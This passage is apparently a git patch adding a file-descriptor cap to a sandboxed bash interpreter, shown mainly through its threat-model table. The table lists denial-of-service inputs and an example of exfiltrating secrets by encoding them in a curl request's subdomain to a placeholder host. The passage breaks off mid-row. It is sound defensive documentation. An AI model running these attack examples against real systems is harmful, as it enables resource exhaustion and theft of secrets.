From ed6d90a926b34919e467ed43d8334bdb51bcb002 Mon Sep 17 00:00:00 2001 From: Mykhailo Chalyi Date: Mon, 25 May 2026 23:26:17 -0500 Subject: [PATCH] fix(security): cap persistent file descriptors --- crates/bashkit/docs/threat-model.md | 3 +- crates/bashkit/src/interpreter/mod.rs | 27 +++++++++++++++-- crates/bashkit/src/limits.rs | 27 +++++++++++++++-- crates/bashkit/src/parser/lexer.rs | 10 +++++-- crates/bashkit/src/parser/mod.rs | 30 +++++++++++++++++++ crates/bashkit/src/parser/tokens.rs | 5 +++- crates/bashkit/tests/threat_model_tests.rs | 34 ++++++++++++++++++++++ specs/threat-model.md | 9 ++++-- 8 files changed, 134 insertions(+), 11 deletions(-) diff --git a/crates/bashkit/docs/threat-model.md b/crates/bashkit/docs/threat-model.md index 1a059a370..a822ea63c 100644 --- a/crates/bashkit/docs/threat-model.md +++ b/crates/bashkit/docs/threat-model.md @@ -110,6 +110,7 @@ through configurable limits. | Param expansion bomb (TM-DOS-059) | `${x//a/bigstring}` multiplicative amplification | `max_total_variable_bytes` + `max_stdout_bytes` | MITIGATED | | Sparse array huge-index (TM-DOS-060) | `arr[999999999]=x` | HashMap storage; `max_array_entries` | MITIGATED | | Snapshot restore bypasses function/parser limits (TM-DOS-061) | Crafted snapshot with oversized/deep function bodies | Re-parse restored function source under current limits; re-check function memory budget | MITIGATED | +| Persistent fd exhaustion (TM-DOS-063) | `exec N>/tmp/f` across many `N` values | `max_file_descriptors` caps custom persistent descriptors | MITIGATED | **Configuration:** ```rust @@ -378,7 +379,7 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co | Threat | Attack Example | Mitigation | Status | |--------|---------------|------------|--------| -| HTML in output (TM-INJ-007) | Script outputs `